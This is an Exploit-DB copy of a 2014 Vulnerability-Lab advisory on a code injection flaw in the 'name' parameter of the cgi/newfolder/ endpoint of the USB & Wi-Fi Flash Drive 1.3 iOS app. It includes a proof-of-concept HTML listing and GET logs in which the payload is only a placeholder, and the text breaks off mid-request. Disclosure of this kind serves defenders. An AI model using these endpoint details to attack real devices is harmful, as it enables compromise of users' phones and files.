Exploit-DB #34682
Description: USB&WiFi Flash Drive 1.3 iOS - Code Execution
Type: webapps
Platform: ios
Date: 2014-09-16
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
USB&WiFi Flash Drive 1.3 iOS - Code Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1316


Release Date:
=============
2014-09-15


Vulnerability Laboratory ID (VL-ID):
====================================
1316


Common Vulnerability Scoring System:
====================================
9


Product & Service Introduction:
===============================
The app take advantage of the free space of iPhone to store vast amounts of files. Supports both wireless and usb transferring. 
Compatible with Windows 7, Windows XP, Windows Vista, Mac OS 10+ and Linux. It`s also an ALL-IN-1 reader and file browser. Images, videos, 
music, documents are all supported: jpg, jpeg, png, tiff, tif, bmp, BMPf, ico, cur, xbm, mov, mp4, mpv, 3gp, aac, adts, ac3, aif, aiff, aifc, 
caf, mp3, mp4, m4a, m4r, snd, au, sd2, wav, doc, xls, ppt, pdf, rtf, key, numbers, pages, gif, txt, html, htm.

( Copy of the Homepage: https://itunes.apple.com/us/app/usb-wi-fi-flash-drive-free/id503106759 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a code execution vulnerability in the official USB & Wi-Fi Flash Drive v1.3 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-09-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Leping Li
Product: USB & Wi-Fi Flash Drive - iOS Mobile Web Application (Wifi) 1.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A remote code execution web vulnerability has been discovered in the official USB & Wi-Fi Flash Drive v1.3 iOS mobile web-application.
The vulnerability allows remote attackers to execute own system (device) specific codes to compromise the ios mobile application.

The remote code execution vulnerability is located in the name value of the cgi/newfolder/ function module. Remote attackers are able to 
execute system specific codes in the GET method request of the insecure add `new folder` function. The execution takes place through 
the name value of the items. The execution itself occurs in the index file manager listing of the wifi flash drive mobile application.
There is no filter mechanism or protection module to parse available that needs to be bypassed to provoke the execution. The attack vector 
of the issue is location on the application-side and the request method to execute code is GET.

The security risk of the code execution vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.9.
Exploitation of the code execution vulnerability requires no privileged account or user interaction. Successful exploitation of the remote 
vulnerability results in mobile application or device compromise.

Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] cgi/newfolder/

Vulnerable Parameter(s):
				[+] name

Affected Module(s):
				[+] WiFi File Manager


Proof of Concept (PoC):
=======================
The remote code execution web vulnerability can be exploited by remote attackers in the wifi network without user interaction or privileged account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Wi-Fi Manager - Index Listing

<div id="photo_list_container" class="list" style="display: block;">
<ul id="photo_list" class="photocontainer"><li><a alt="1026" class="videolink" href="###">
<img style="width: 120px; height: 120px;" onload="autoResizePhotoThumb(this);" src="/cgi/thumb/1026"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E</span><span class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1026/[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E"><img src="/img/download.png"></a></span></li>
<li><a alt="1027" class="videolink" href="###"><img style="width: 120px; height: 120px;" onload="autoResizePhotoThumb(this);" src="/cgi/thumb/1027"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E></span><span class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1027/asdasdasd <[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E>">
<img src="/img/download.png"></a></span></li></iframe></span></li>
<li><a alt="1028" class="videolink" href="###"><img style="width: 120px; height: 120px;" onload="autoResizePhotoThumb(this);" src="/cgi/thumb/1028"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E <[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E"></span><span class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1028/[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E>"><img src="/img/download.png"></a></span></li></iframe></span></li></ul>
<div class="pagecontrol"><p id="page_control">1</p></div></div></div></div><div class="footer"><p>�2011- Wi-Fi Manager</p></div></div>


--- PoC Session Logs [GET] (EXEC CGI) ---
Status: 200[OK]
 GET http://ipad.localhost:8080/cgi/newfolder/[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E?0.[PII_REDACTED] Load Flags[LOAD_BACKGROUND  ] Gr��e des Inhalts[12] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[ipad.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[application/json, text/javascript, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://ipad.localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Content-Length[12]
      Connection[close]

Status: 200[OK] 
GET http://i